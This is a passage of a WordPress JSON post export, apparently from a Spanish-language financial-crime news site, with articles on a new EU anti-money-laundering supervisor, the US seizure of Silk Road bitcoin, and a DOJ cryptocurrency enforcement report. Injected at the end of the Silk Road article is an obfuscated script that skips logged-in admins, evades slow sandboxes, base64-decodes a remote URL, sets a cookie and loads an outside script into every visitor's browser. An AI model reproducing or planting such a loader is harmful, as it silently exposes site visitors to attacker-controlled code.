inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" 